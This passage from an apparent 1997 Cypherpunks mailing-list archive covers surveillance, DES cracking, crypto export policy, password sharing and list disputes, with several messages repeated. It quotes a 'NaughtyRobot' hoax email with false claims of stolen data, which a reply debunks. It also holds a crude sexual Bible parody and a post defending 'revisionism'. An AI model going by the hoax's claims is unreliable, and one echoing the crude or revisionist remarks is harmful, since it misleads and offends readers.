transmissions; No mention is made about what their capacity is to decrypt data, but encrypted data is analysed (e.g. high level Russian stuff). The book has been extensively researched, with an appendix of all the sources where relevant (i.e. newspapers articles, etc). Photographs of many overseas "bases" are included (e.g. Yakima in Japan). Heck, I live less than 1km from one of the sites photographed! It's not an attractive book, but informative and good reading. A quote from the book, talking about agent activities and involvement in surveilence operations: "There is no evidence of a UKUSA code of ethics or of a tradition of respect for Parliament or civil liberties in their home countries. The opposite seems to be true: that anything goes as long as you do not get caught. Secrey not only permits but encourages questionable operations." The extent of the secrecy around the subject matter in the book is best represented by the comments of a former New Zealand Primeminister' foreword which admits that he was unaware of many details in the book but not which ones. I imagine it would be likewise enlighening to many recent politicians of high station... So, in summary, paranoia about being listened to is well formed, especially if you're involved in overseas communications. Just assume it is being "tapped" if it is in clear text and you'll save yourself a lot of worrying about the "might-be" factor. "Secret Power" ISBN 0-908802-35-8 Craig Potton Publishing, Box 555, Nelson New Zealand. First publishing 1996, reprinted 1996. Approximate cost AUS$35 (inc. freight) From sopwith at cuc.edu Thu Feb 20 18:44:26 1997 From: sopwith at cuc.edu (Elliot Lee) Date: Thu, 20 Feb 1997 18:44:26 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) In-Reply-To: <199702202226.OAA23750@toad.com> Message-ID: On Wed, 19 Feb 1997, Adam Back wrote: > > Peter Trei writes: > > Bill Stewart writes: > > > There may be a distributed Internet crack using that approach, > > > though DES is still very inefficient on general-purpose computers and > > > works better on bit-twiddliing chips. > > > > There's one slowly shaping up, organized by the same people who did > > the RC5-48 crack. I'm still rooting for an uncoordinated search, > > which is already underway. > > The people who did the RC5-48 crack over on , > and , or at least one of them in > particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU. > I'm having a heck of a time talking him out of it. http://zero.genx.net/ is going at it as well - and whoever finds the key gets the prize. What's wrong with EFF/GNU? -- Elliot Lee http://www.redhat.com/ http://www.linuxexpo.org/ From sopwith at cuc.edu Thu Feb 20 19:11:03 1997 From: sopwith at cuc.edu (Elliot Lee) Date: Thu, 20 Feb 1997 19:11:03 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) Message-ID: <199702210311.TAA28160@toad.com> On Wed, 19 Feb 1997, Adam Back wrote: > > Peter Trei writes: > > Bill Stewart writes: > > > There may be a distributed Internet crack using that approach, > > > though DES is still very inefficient on general-purpose computers and > > > works better on bit-twiddliing chips. > > > > There's one slowly shaping up, organized by the same people who did > > the RC5-48 crack. I'm still rooting for an uncoordinated search, > > which is already underway. > > The people who did the RC5-48 crack over on , > and , or at least one of them in > particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU. > I'm having a heck of a time talking him out of it. http://zero.genx.net/ is going at it as well - and whoever finds the key gets the prize. What's wrong with EFF/GNU? -- Elliot Lee http://www.redhat.com/ http://www.linuxexpo.org/ From darrenr at cyber.com.au Thu Feb 20 19:11:05 1997 From: darrenr at cyber.com.au (Darren Reed) Date: Thu, 20 Feb 1997 19:11:05 -0800 (PST) Subject: Correct paranoia about evesdropping. Message-ID: <199702210311.TAA28161@toad.com> I don't read cypherpunks any more, and this may have already been mentioned but it can't hurt to be pushed again. Whilst not directly related to cryptography, if any of you saw the chapters from "Secret Power" posted to best-of-security, know that that particular book is well worth reading. Of interest to those who are concerned for privacy from snooping: * NSA/DSD/CSE/etc (same type of organisation in different countries) use ground stations around the globe to intercept satellite to ground transmissions, have a network of computers built up to scan all telexes, faxes and even some internet traffic for known keywords in real time; * there exist computers which can process speech in real time and scan for known text/words; * embassies are popular "listening posts", as are buildings "along route" of microwave transmissions; No mention is made about what their capacity is to decrypt data, but encrypted data is analysed (e.g. high level Russian stuff). The book has been extensively researched, with an appendix of all the sources where relevant (i.e. newspapers articles, etc). Photographs of many overseas "bases" are included (e.g. Yakima in Japan). Heck, I live less than 1km from one of the sites photographed! It's not an attractive book, but informative and good reading. A quote from the book, talking about agent activities and involvement in surveilence operations: "There is no evidence of a UKUSA code of ethics or of a tradition of respect for Parliament or civil liberties in their home countries. The opposite seems to be true: that anything goes as long as you do not get caught. Secrey not only permits but encourages questionable operations." The extent of the secrecy around the subject matter in the book is best represented by the comments of a former New Zealand Primeminister' foreword which admits that he was unaware of many details in the book but not which ones. I imagine it would be likewise enlighening to many recent politicians of high station... So, in summary, paranoia about being listened to is well formed, especially if you're involved in overseas communications. Just assume it is being "tapped" if it is in clear text and you'll save yourself a lot of worrying about the "might-be" factor. "Secret Power" ISBN 0-908802-35-8 Craig Potton Publishing, Box 555, Nelson New Zealand. First publishing 1996, reprinted 1996. Approximate cost AUS$35 (inc. freight) From ott0matic at hotmail.com Thu Feb 20 19:28:56 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Thu, 20 Feb 1997 19:28:56 -0800 (PST) Subject: Message-ID: <199702210328.TAA23527@f15.hotmail.com> >Date: Wed, 19 Feb 1997 15:37:45 -0800 >From: "Timothy C. May" >To: shark at turk.net, cypherpunks at toad.com >Subject: "Trial" >At 8:02 PM +0200 2/19/97, Shark wrote: >>Trial > >OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people >asking what the hell the vote is all about. Make that 4 what the hells. What the hell? this is the first I've seen of this post... I feel so left out. > >Looks like there won't be a trial and we can move directly to the punishment. > > >--Klaus! von Future Prime > > > >-- >[This Bible excerpt awaiting review under the U.S. Communications Decency >Act of 1996] >And then Lot said, "I have some mighty fine young virgin daughters. Why >don't you boys just come on in and fuck them right here in my house - I'll >just watch!"....Later, up in the mountains, the younger daughter said: >"Dad's getting old. I say we should fuck him before he's too old to fuck." >So the two daughters got him drunk and screwed him all that night. Sure >enough, Dad got them pregnant, and had an incestuous bastard son....Onan >really hated the idea of doing his brother's wife and getting her pregnant >while his brother got all the credit, so he pulled out before he >came....Remember, it's not a good idea to have sex with your sister, your >brother, your parents, your pet dog, or the farm animals, unless of course >God tells you to. [excerpts from the Old Testament, Modern Vernacular >Translation, TCM, 1996] > > > otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From rwright at adnetsol.com Thu Feb 20 19:38:25 1997 From: rwright at adnetsol.com (Ross Wright) Date: Thu, 20 Feb 1997 19:38:25 -0800 (PST) Subject: Condolences Message-ID: <199702210338.TAA15155@adnetsol.adnetsol.com> Tim: Well, if I am still in your killfile you won't be reading this. That's too bad. I just want to say the you are really being given the stake through the heart treatment by Sandy. And you say in your post, from the flames trash bin, Re: Constitution and a Right to Privacy: "I write about what I find interesting. You all know where the Delete key is. (Of course, a fairly large fraction of my recent posts have been deleted for you by Sandy, who sends many of my posts to neither the Main list nor the Flames list. Bet a lot of you didn't know this, did you?)" No, I did not know that and it pisses me off!!! Fuck everyone. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906 From stewarts at ix.netcom.com Thu Feb 20 19:57:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 20 Feb 1997 19:57:07 -0800 (PST) Subject: security breached by NaughtyRobot In-Reply-To: <199702200340.MAA04535@gol1.gol.com> Message-ID: <3.0.1.32.19970220185545.00628978@popd.ix.netcom.com> Don't panic. It's just a hoax. Lots of other people have received it. The hoaxer got your address somewhere off the Internet (maybe Usenet, maybe your web page) and sent you the email. At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote: >HELP! Can anyone tell me what this message is that I received in my mail >today? Is it real? Should I do as it suggests? I have used the Internet >once to purchase some books? Was my credit card number stolen in the >process? How did this happen and how will it affect me? What should I do? >PLEASE ADVISE ASAP! Thank you for your help >Ellen Iwasaki >Kumamoto, Japan > >> From: eiwasaki at gol.com >> Date: Wed, 19 Feb 97 02:27 CST >> Apparently-From: eiwasaki at gol.com >> Apparently-To: eiwasaki at gol.com >> Reply-to: eiwasaki at gol.com >> Registered-mail-reply-requested-by: eiwasaki at gol.com >> Sensitivity: PERSONAL-CONFIDENTIAL >> Precedence: EMERGENCY >> Priority: URGENT >> Comment: Authenticated sender is >> Organization: NaughtyRobot >> Subject: security breached by NaughtyRobot >> >> This message was sent to you by NaughtyRobot, an Internet spider that >> crawls into your server through a tiny hole in the World Wide Web. >> >> NaughtyRobot exploits a security bug in HTTP and has visited your host >> system to collect personal, private, and sensitive information. >> >> It has captured your Email and physical addresses, as well as your phone >> and credit card numbers. To protect yourself against the misuse of this >> information, do the following: >> >> 1. alert your server SysOp, >> 2. contact your local police, >> 3. disconnect your telephone, and >> 4. report your credit cards as lost. >> >> Act at once. Remember: only YOU can prevent DATA fires. >> >> This has been a public service announcement from the makers of >> NaughtyRobot -- CarJacking its way onto the Information SuperHighway. >> > > > > # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 20 20:12:37 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 20 Feb 1997 20:12:37 -0800 (PST) Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights" Message-ID: <01IFNMX72XV48Y51RI@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 20-FEB-1997 23:02:43.31 From: Phil Agre =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 20 Feb 1997 14:16:54 -0500 From: afowler at aaas.org (Alex Fowler) Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights What follows is a copy of the letter sent under the signature of AAAS' Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items. The letter expresses our concern that the current federal policy with regard to encryption raises serious questions for both scientific freedom and human rights work. In addition, it marks the first time that the Association has weighed in on the crypto debate at this level. Sincerely, Alex Fowler AAAS Scientific Freedom, Responsibility and Law Program American Association for the Advancement of Science 1200 New York Avenue, NW, Washington, DC, 20005 February 7, 1997 Ms. Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce 14th Street and Pennsylvania Ave., NW, Room 2705 Washington, DC 20230 Dear Ms. Crowe: On behalf of the American Association for the Advancement of Science (AAAS), the world's largest general scientific society, I am responding to the Bureau of Export Administration's Interim Rule on the transfer of certain encryption items, published in the Federal Register, December 30, 1996. Before commenting directly on specific provisions of the Interim Rule, it is important to make the point that its basic thrust threatens to undermine essential features of scientific freedom and the open exchange of information that are generally acknowledged as critical to innovation in science and technology and are responsible in large part for the preeminence of America's research and development enterprise. AAAS opposes attempts by the government to restrict the communication or publication of unclassified research and technical information, efforts which we believe are inconsistent with scientific advancement. We are also concerned that certain provisions of the Interim Rule will adversely affect the effective use of information technologies in efforts to protect and promote human rights. Many of our members in the academic community have legitimate concerns that teaching courses on cryptography appears to violate the Interim Rule if foreign students are enrolled in such courses. Such a control seems to be inadvertent, since Part 744.9 states that "mere teaching or discussion of information about cryptography ... by itself would not establish the intent described in this section, even where foreign persons are present." However, Parts 734.3(b) and 734.9 place controls on all "educational information" applying to encryption software controlled under ECCN 5D002, and "Educational information" is defined as "release by instruction in ... academic institutions." This matter requires further clarification to avoid any unnecessary chilling effect on our educational process. Currently, part 734.3 (b)(3) of the EAR posits a difference between the paper and electronic publication of the same cryptographic materials. While it is acceptable under this provision to publish such material in a book and distribute it internationally without an export license, putting the same information on a disk and sending it abroad is subject to EAR approval. This distinction has serious ramifications for scholarly communication as many professional journals are now moving onto the Internet as electronic publications. Will cutting-edge innovations in cryptography be publishable in this new medium? Consider the following example: the full text of Science magazine, the major peer reviewed journal published by AAAS, is currently available in both print and electronic formats. According to the cited part in the EAR, an article accepted for publication on a new cryptographic algorithm would be acceptable in the print version of the publication. However, because the electronic version is available to people outside the U.S., to comply with EAR, the journal would either have to be published without this article or substantial parts omitted. Scientific publications are crucial to the advancement of science and technology and form a primary source of communication among researchers worldwide. Restrictions that limit potential collaborations and channels of communication into new and innovative cryptographic products will not only impede scientific progress, but will also retard the evolution of a secure Global Information Infrastructure. AAAS has encouraged the development of ethical standards by scientists to encourage responsible conduct and to establish accountability to a supportive public. The codes of professional conduct promulgated by the largest and most important U.S. professional engineering and computing societies all stress the importance of protecting established cultural and ethical norms of information privacy and data integrity. For example, the American Society of Information Science's Code of Ethics for Information Professionals mandates that its members "uphold each user's, provider's or employer's rights to privacy" and resist "all forms of censorship" in carrying out their responsibility "to improve, to the best of their means and abilities, the information systems in which they work or which they represent." The Interim Rule would compel these scientists and engineers -- as employees of major software and hardware computing companies -- to produce information security systems that are intentionally weak for international markets. This would create an ethical dilemma for the professional. He is bound by his responsibility to honor the ethical norms agreed upon by his profession, but as a citizen of the U.S., he is also bound by his responsibility to act according to these federal regulations. The government should avoid whenever possible creating circumstances where professionals must make such choices. AAAS provides technical assistance to human rights groups on the design and development of information management systems for large-scale human rights data collection and analysis. This process concentrates politically volatile information in computers, such as the names of witnesses to military massacres in Guatemala who could be subjected to intimidation, harassment, or murder by those intent on preventing the public discussion and analysis of the information. Such a system must be protected by strong cryptography. In our human rights work, we have observed the growing importance of non-governmental monitoring of state compliance with international human rights agreements as the first line of defense a civil society has against abusive regimes. By documenting and publicizing analyses of abusive behavior by governments, non-governmental human rights organizations provide a fundamental check on state repression. In order to be effective, human rights monitoring organizations must function with a high level of confidentiality. They must protect the people who give them information about state violations of human rights. Similarly, organizations must protect their own staff, many of whom may not be openly associated with the organization. As an increasing proportion of human rights work is supported by the use of information technology, cryptographic techniques, including but not limited to encryption, have become immensely more important. Organizations that concentrate valuable, dangerous information in databases on hard disks must be able to protect them from local authorities, who may be the subjects of human rights investigations. Human rights groups communicating their findings with collaborating organizations in other countries must be able to transmit their information securely. The sending organization must include sufficient information so that the receiving organization can verify the claims. If the information needed to verify the claims were intercepted, it could put the claimants in very serious danger. Using strong cryptography, human rights organizations can communicate their findings without putting informants or staff at additional risk. These are only a few examples of the compelling need for strong cryptography by human rights organizations. The licensing provisions in the Interim Rule permit only inadequate technology for the fundamental, democratic needs of non-government human rights organizations. Part 742.15 of the Interim Rule suggests three categories of weak or unsafe encryption that are eligible for accelerated licensing: (1) includes 40-bit products called "mass market encryption software"; (2) permits key recovery products; and (3) allows non-recovery encryption items using the DES algorithm with 56-bit keys. Provisions (1) and (3) are equally untenable for human rights purposes because they authorize only products known to be breakable with available and inexpensive technology. Provision (2), key recovery, is equally unsatisfactory for human rights organizations. If keys can be recovered by the U.S. government, why should human rights organizations whose entire function is defined by abusive governments trust that their information will remain secure? Given past and ongoing AAAS work in countries such as Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of particular concern to us. In view of these concerns, we urge the Bureau of Export Administration to amend the Interim Rule in favor of a more open exchange of ideas and information relating to cryptography. We believe this would advance the nation's interests in a manner consistent with the values that are responsible for America's widely admired scientific achievements and its enduring democratic traditions. Sincerely, Richard S. Nicholson cc: John H. Gibbons Mary L. Good Orrin G. Hatch, Chair, Senate Judiciary Committee Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee Jesse Helms, Chair, Senate Foreign Relations Committee Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations Committee John McCain, Chair, Senate Commerce, Science, and Transportation Committee Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science & Transportation Committee Conrad Burns, Member, Senate Commerce, Science, and Transportation Committee Tom Bliley, Chair, House Commerce Committee John D. Dingell, Ranking Minority Member, House Commerce Committee Bob Goodlatte, Member, House Commerce Committee Henry J. Hyde, Chair, House Judiciary Committee John Conyers, Jr., Ranking Minority Member, House Judiciary Committee Benjamin A. Gilman, Chair, House International Relations Committee Lee H. Hamilton, Ranking Minority Member, House International Relations Committee F. James Sensenbrenner, Jr., Chair, House Science Committee George E. Brown, Jr., Ranking Minority Member, House Science Committee Kenneth C. Bass, III, Esq. Ann Beeson, Esq. Cindy A. Cohn, Esq. Gino J. Scarselli, Esq. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= For more information, contact: Alexander Fowler or Patrick Ball Directorate for Science and Policy Programs 1200 New York Avenue, NW Washington, DC 20005 (202) 326-6600; Fax (202) 289-4950 afowler at aaas.org or pball at aaas.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From frogfarm at yakko.cs.wmich.edu Thu Feb 20 20:27:08 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Thu, 20 Feb 1997 20:27:08 -0800 (PST) Subject: user: cypherpunks, password: cypherpunks Message-ID: <199702210431.XAA07742@yakko.cs.wmich.edu> Content Sites Vexed By Password Abuse The high cost of subscribers sharing log-ons By Whit Andrews Playboy magazine even has a term for it: "frat-house syndrome." Just as readers might pass around a magazine or a copy of a newsletter among themselves-- why buy multiple copies when you can see it after the guy down the hall is finished?-- Internet users often freely share access to their electronic subscriptions. The difference is that the number of people who can use a magazine or newsletter simultaneously is finite--limited to, say, a workgroup or the number of people who can comfortably fit onto a couch. On the Web, that expands to the number of people worldwide who can hunker in front of their monitors, printers, and personal digital assistants. "We did have one situation where a person posted a link to a story, and with it a user ID and password, on the Web, so people could get into it," said Tom Baker, business director of The Wall Street Journal Interactive edition. "He just thought it was an interesting story." Baker said that user seemed somewhat naive about the profound flouting of copyright law in which he was engaging, and several content providers have reported similar anecdotes involving clueless users. "I even have people we do business with say, 'Oh yeah, I got a password for our office,'" said Kenneth Dotson, vice president of marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based sports site with members-only content areas. "I've had that happen two or three times now." The problem of subscribers treating their privileges as a commodity that they can give away is particularly vexing to Web content sites, which have in most cases crossed a difficult hurdle in graduating to a model supported at least to some extent by subscription fees. Losing those usually low fees to user abuse is thus doubly frustrating. "We're here trying to make money," said Jay Froscheiser, corporate Webmaster at Data Transmission Network Corp., an Omaha, Neb., online service creating new products on the Web with prices ranging from $20 to $50 monthly for access. "Serving 10 people on an account, we can't make money." DTN's solution is to use cookies, the tidbits of information that sites can store in browser files to track users' preferences and identities. If subscribers want to change browsers or access information from a different computer, they have to call DTN and set up the switch. Froscheiser said some subscribers complain that the system is too Draconian. For example, while many of the farmers who use agricultural information services have only one computer to work with, others whose work situations make them more itinerant are frustrated by their inability to log on from home, work, and elsewhere. But without exact statistics, it's DTN that is inconvenienced, because its deals with content providers are generally based on the number of subscribers who access the providers' services through DTN, Froscheiser said. "We have to have 100 percent accountability for how many people per service there are." Other content providers, whose prices are generally lower and are often defrayed by advertising to generate revenues, have adopted innovative ways to lure subscription cheats into ponying up the price to join. SportsLine, for instance, automatically enters members in all giveaways and promotions, whereas casual users have to key in their information manually. Subscribers can personalize their pages to allow them to follow special sports and teams. Dotson said such gentle measures are intended to make it more attractive to be a member than to use someone else's account, and are the only step likely for the company, at least into the near future. "The environment of the Web doesn't really allow you to police it," he said, and after all, the company has enough of a revenue stream from ads to make extra users less of a burden. "We say, 'Okay, not much we can do about it, we'll just enjoy the extra page views.' " sitewide licenses Other companies whose information is more likely to be passed among office workers who share business interests rather than sports conversations are aggressively pursuing sitewide licenses and lower prices. The Wall Street Journal Interactive offers deals to offices that allow users to sign up, not with a credit-card number, but with a company ID number. Lexis-Nexis does not allow individual licenses, but prices its Web services based on how many people there are in the office instead. All of the content providers agreed that they would prefer other methods of controlling distribution, but that barring technological advances of significant proportion, they're stuck with what they've got. "Our strategy is not to implement a solution that's worse than the problem," said Wall Street Journal Interactive's Baker of encrypted document schemes and micropayment models. "If there were a way to protect our information that didn't put an onerous restriction on our subscribers reading it, we'd do it." Eileen Kent, vice president, new media division of Playboy Enterprises Inc. in Chicago, echoed the sentiment. Until technology improves, she said, content providers need to assume that there will be some improper use of memberships. "I think the technology will find solutions," she said. "But until then, it's just a cost of doing business." ______________________________________________________________ Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 � Mecklermedia Corp. All rights reserved. Keywords: content electronic_commerce Date: 19970217 http://www.iworld.com From dthorn at gte.net Thu Feb 20 22:19:09 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 22:19:09 -0800 (PST) Subject: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br In-Reply-To: <199702202308.PAA24681@kachina.jetcafe.org> Message-ID: <330D3E32.393C@gte.net> ISP_Ratings wrote: > Dave Hayes wrote: > > Toto writes: > >> Canada has a set of anti-hate laws that say that if Joe Average says > >> "Martin Looter King is a doo-doo", then he can be put in prison for > >> 40,000 years. > > That's absolutely ludicrous. Anti-hate laws only serve to make people > > hate the laws. Legislating emotions is quite impossible, not to > > mention downright scary. > Canada is one of the worst in the Western World--they have all sorts > of censorous nonsense on the books and seem almost as bad as Germany. > They don't allow certain political stuff like revisionism, etc. even > though quite obviously the best answer to revisionism is the very > crap they produce. Trying to surpress that viewpoint just makes it > all the more powerful. Pardon my intrusion, but doesn't revisionism allow suppressed people to recover at least some of their history (in the official sense), and since when is it not legitimate to re-investigate anything at all? From rwright at adnetsol.com Thu Feb 20 22:26:01 1997 From: rwright at adnetsol.com (Ross Wright) Date: Thu, 20 Feb 1997 22:26:01 -0800 (PST) Subject: Condolences Message-ID: <199702210626.WAA01258@toad.com> Tim: Well, if I am still in your killfile you won't be reading this. That's too bad. I just want to say the you are really being given the stake through the heart treatment by Sandy. And you say in your post, from the flames trash bin, Re: Constitution and a Right to Privacy: "I write about what I find interesting. You all know where the Delete key is. (Of course, a fairly large fraction of my recent posts have been deleted for you by Sandy, who sends many of my posts to neither the Main list nor the Flames list. Bet a lot of you didn't know this, did you?)" No, I did not know that and it pisses me off!!! Fuck everyone. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906 From ott0matic at hotmail.com Thu Feb 20 22:26:03 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Thu, 20 Feb 1997 22:26:03 -0800 (PST) Subject: Message-ID: <199702210626.WAA01264@toad.com> >Date: Wed, 19 Feb 1997 15:37:45 -0800 >From: "Timothy C. May" >To: shark at turk.net, cypherpunks at toad.com >Subject: "Trial" >At 8:02 PM +0200 2/19/97, Shark wrote: >>Trial > >OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people >asking what the hell the vote is all about. Make that 4 what the hells. What the hell? this is the first I've seen of this post... I feel so left out. > >Looks like there won't be a trial and we can move directly to the punishment. > > >--Klaus! von Future Prime > > > >-- >[This Bible excerpt awaiting review under the U.S. Communications Decency >Act of 1996] >And then Lot said, "I have some mighty fine young virgin daughters. Why >don't you boys just come on in and fuck them right here in my house - I'll >just watch!"....Later, up in the mountains, the younger daughter said: >"Dad's getting old. I say we should fuck him before he's too old to fuck." >So the two daughters got him drunk and screwed him all that night. Sure >enough, Dad got them pregnant, and had an incestuous bastard son....Onan >really hated the idea of doing his brother's wife and getting her pregnant >while his brother got all the credit, so he pulled out before he >came....Remember, it's not a good idea to have sex with your sister, your >brother, your parents, your pet dog, or the farm animals, unless of course >God tells you to. [excerpts from the Old Testament, Modern Vernacular >Translation, TCM, 1996] > > > otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From stewarts at ix.netcom.com Thu Feb 20 22:26:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 20 Feb 1997 22:26:06 -0800 (PST) Subject: security breached by NaughtyRobot Message-ID: <199702210626.WAA01272@toad.com> Don't panic. It's just a hoax. Lots of other people have received it. The hoaxer got your address somewhere off the Internet (maybe Usenet, maybe your web page) and sent you the email. At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote: >HELP! Can anyone tell me what this message is that I received in my mail >today? Is it real? Should I do as it suggests? I have used the Internet >once to purchase some books? Was my credit card number stolen in the >process? How did this happen and how will it affect me? What should I do? >PLEASE ADVISE ASAP! Thank you for your help >Ellen Iwasaki >Kumamoto, Japan > >> From: eiwasaki at gol.com >> Date: Wed, 19 Feb 97 02:27 CST >> Apparently-From: eiwasaki at gol.com >> Apparently-To: eiwasaki at gol.com >> Reply-to: eiwasaki at gol.com >> Registered-mail-reply-requested-by: eiwasaki at gol.com >> Sensitivity: PERSONAL-CONFIDENTIAL >> Precedence: EMERGENCY >> Priority: URGENT >> Comment: Authenticated sender is >> Organization: NaughtyRobot >> Subject: security breached by NaughtyRobot >> >> This message was sent to you by NaughtyRobot, an Internet spider that >> crawls into your server through a tiny hole in the World Wide Web. >> >> NaughtyRobot exploits a security bug in HTTP and has visited your host >> system to collect personal, private, and sensitive information. >> >> It has captured your Email and physical addresses, as well as your phone >> and credit card numbers. To protect yourself against the misuse of this >> information, do the following: >> >> 1. alert your server SysOp, >> 2. contact your local police, >> 3. disconnect your telephone, and >> 4. report your credit cards as lost. >> >> Act at once. Remember: only YOU can prevent DATA fires. >> >> This has been a public service announcement from the makers of >> NaughtyRobot -- CarJacking its way onto the Information SuperHighway. >> > > > > # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From frogfarm at yakko.cs.wmich.edu Thu Feb 20 22:26:11 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Thu, 20 Feb 1997 22:26:11 -0800 (PST) Subject: user: cypherpunks, password: cypherpunks Message-ID: <199702210626.WAA01280@toad.com> Content Sites Vexed By Password Abuse The high cost of subscribers sharing log-ons By Whit Andrews Playboy magazine even has a term for it: "frat-house syndrome." Just as readers might pass around a magazine or a copy of a newsletter among themselves-- why buy multiple copies when you can see it after the guy down the hall is finished?-- Internet users often freely share access to their electronic subscriptions. The difference is that the number of people who can use a magazine or newsletter simultaneously is finite--limited to, say, a workgroup or the number of people who can comfortably fit onto a couch. On the Web, that expands to the number of people worldwide who can hunker in front of their monitors, printers, and personal digital assistants. "We did have one situation where a person posted a link to a story, and with it a user ID and password, on the Web, so people could get into it," said Tom Baker, business director of The Wall Street Journal Interactive edition. "He just thought it was an interesting story." Baker said that user seemed somewhat naive about the profound flouting of copyright law in which he was engaging, and several content providers have reported similar anecdotes involving clueless users. "I even have people we do business with say, 'Oh yeah, I got a password for our office,'" said Kenneth Dotson, vice president of marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based sports site with members-only content areas. "I've had that happen two or three times now." The problem of subscribers treating their privileges as a commodity that they can give away is particularly vexing to Web content sites, which have in most cases crossed a difficult hurdle in graduating to a model supported at least to some extent by subscription fees. Losing those usually low fees to user abuse is thus doubly frustrating. "We're here trying to make money," said Jay Froscheiser, corporate Webmaster at Data Transmission Network Corp., an Omaha, Neb., online service creating new products on the Web with prices ranging from $20 to $50 monthly for access. "Serving 10 people on an account, we can't make money." DTN's solution is to use cookies, the tidbits of information that sites can store in browser files to track users' preferences and identities. If subscribers want to change browsers or access information from a different computer, they have to call DTN and set up the switch. Froscheiser said some subscribers complain that the system is too Draconian. For example, while many of the farmers who use agricultural information services have only one computer to work with, others whose work situations make them more itinerant are frustrated by their inability to log on from home, work, and elsewhere. But without exact statistics, it's DTN that is inconvenienced, because its deals with content providers are generally based on the number of subscribers who access the providers' services through DTN, Froscheiser said. "We have to have 100 percent accountability for how many people per service there are." Other content providers, whose prices are generally lower and are often defrayed by advertising to generate revenues, have adopted innovative ways to lure subscription cheats into ponying up the price to join. SportsLine, for instance, automatically enters members in all giveaways and promotions, whereas casual users have to key in their information manually. Subscribers can personalize their pages to allow them to follow special sports and teams. Dotson said such gentle measures are intended to make it more attractive to be a member than to use someone else's account, and are the only step likely for the company, at least into the near future. "The environment of the Web doesn't really allow you to police it," he said, and after all, the company has enough of a revenue stream from ads to make extra users less of a burden. "We say, 'Okay, not much we can do about it, we'll just enjoy the extra page views.' " sitewide licenses Other companies whose information is more likely to be passed among office workers who share business interests rather than sports conversations are aggressively pursuing sitewide licenses and lower prices. The Wall Street Journal Interactive offers deals to offices that allow users to sign up, not with a credit-card number, but with a company ID number. Lexis-Nexis does not allow individual licenses, but prices its Web services based on how many people there are in the office instead. All of the content providers agreed that they would prefer other methods of controlling distribution, but that barring technological advances of significant proportion, they're stuck with what they've got. "Our strategy is not to implement a solution that's worse than the problem," said Wall Street Journal Interactive's Baker of encrypted document schemes and micropayment models. "If there were a way to protect our information that didn't put an onerous restriction on our subscribers reading it, we'd do it." Eileen Kent, vice president, new media division of Playboy Enterprises Inc. in Chicago, echoed the sentiment. Until technology improves, she said, content providers need to assume that there will be some improper use of memberships. "I think the technology will find solutions," she said. "But until then, it's just a cost of doing business." ______________________________________________________________ Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 ) Mecklermedia Corp. All rights reserved. Keywords: content electronic_commerce Date: 19970217 http://www.iworld.com From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 20 22:26:17 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 20 Feb 1997 22:26:17 -0800 (PST) Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights" Message-ID: <199702210626.WAA01288@toad.com> From: IN%"rre at weber.ucsd.edu" 20-FEB-1997 